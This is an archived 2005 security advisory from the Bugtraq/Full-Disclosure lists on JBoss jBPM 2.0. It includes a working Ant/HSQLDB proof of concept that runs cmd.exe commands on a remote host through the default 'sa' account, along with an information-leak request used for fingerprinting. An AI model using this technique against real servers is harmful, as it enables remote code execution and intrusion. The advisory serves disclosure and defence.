bugtraq - JBoss jBPM 2.0: Remote code execution and classloader covert channel

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <42C74235.8010500@gmx.org>
Date: Sun, 03 Jul 2005 03:41:09 +0200
From: Marc Schoenefeld <marc.schoenefeld@....org>
To: bugtraq@...urityfocus.com, full-disclosure@...ts.grok.org.uk
Subject: JBoss jBPM 2.0: Remote code execution and
	classloader covert channel

Security Advisory: jBPM 2.0
Date:  06/22/05
URL: http://www.illegalaccess.org/java/jbpm.php

" JBoss jBPM is a flexible, extensible workflow management system."
[jbpm.org]

Problem 1: Remote code execution possible with jBPM .
This allows an attacker to trigger an arbitrary executable on the jBPM/
JBoss host
with the access control rights of the JBoss process. The example
triggers REGEDIT.EXE.

Due to a known vulnerability in the underlying JBoss 3.2.x and its
embedded HSQLDB
the jBPM system is vulnerable to remote code execution. This is a
regression bug from the
default installation of JBoss 3.2.1. It was fixed in JBoss 3.2.2.
Visit http://www.illegalaccess.org/java/jboss.php for more info.
The following ant file snippet demostrates the problem by calling
regedit on
the Jboss host machine running on JDK 1.4.2. For JDK 1.5.0 the names of
the exploited classes have to be modified slightly.

<target name="cmdinject">
<sql
   classpath="hsqldb.jar"
   driver="org.hsqldb.jdbcDriver"
   url="jdbc:hsqldb:hsql://${host}:${port}"
   userid="sa"
   password=""
   print = "true"
   >
CREATE ALIAS COMPDEBUG FOR
"org.apache.xml.utils.synthetic.JavaUtils.setDebug"
CREATE ALIAS SETPROP FOR "java.lang.System.setProperty";
CREATE ALIAS COMPILE FOR
"org.apache.xml.utils.synthetic.JavaUtils.JDKcompile";

CALL COMPDEBUG(true);
CALL SETPROP('org.apache.xml.utils.synthetic.javac','cmd.exe');
CALL COMPILE('/c REGEDIT.EXE','');
</sql>
</target>

Result: REGEDIT.EXE pops up and the following info is printed on the
console when running
ant with the build.xml above.
>>ant
>>Buildfile: build.xml
>>
>> cmdinject:
>>       [sql] Executing commands
>>       [sql] 0 rows affected
>>       [sql] 0 rows affected
>>
>>       [sql] null
>>
>>       [sql] 0 rows affected
>>
>>       [sql] null
>>
>>       [sql] 0 rows affected
>>
>>       [sql] true
>>
>>       [sql] 0 rows affected
>>       [sql] 5 of 5 SQL statements executed successfully
>>
>> BUILD SUCCESSFUL
>> Total time: 3 seconds

Problem 2: JBoss class loader covert channel
The default installation of JPBM reveals the path of the installation
directory and allows fingerprinting of the server software version by an
unauthenticated HTTP request.
This is due to an information leak bug in the org.jboss.web.WebServer
class of  the bundled JBoss container 3.2.5. that creates a covert channel
between the webserver and the class loader.
When confronted with an expected HTTP request such as 'GET %.' the
org.jboss.web.WebServer class reveals system platform information useful
for an attacker. Due to
the classloader architecture the RMI class download service on port 8083
also allows an attacker to
fingerprint the version of the JBoss server.

- Example 2a (Installation path disclosure):  [same as previous bugtraq
posting on JBoss published on Jun 18 2005 ]
- Example 2b (Config file download): [same as previous bugtraq posting
on JBoss published on Jun 18 2005 ]
- Example 2c (Login config and database credential disclosure): [same as
previous bugtraq posting on JBoss published on Jun 18 2005 ]

Workaround:
The jBPM team was contacted on 6/22/05 and will fix the configuration
bugs in jBPM 2.0.1
It should be noted that every JBoss based system is vulnerable to the
Problem 2 issue, when
it uses the service on port 8083. Of course, every JBoss system that has
the port 1701 open for HSQLDB
is vulnerable to the Problem 2 issue.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/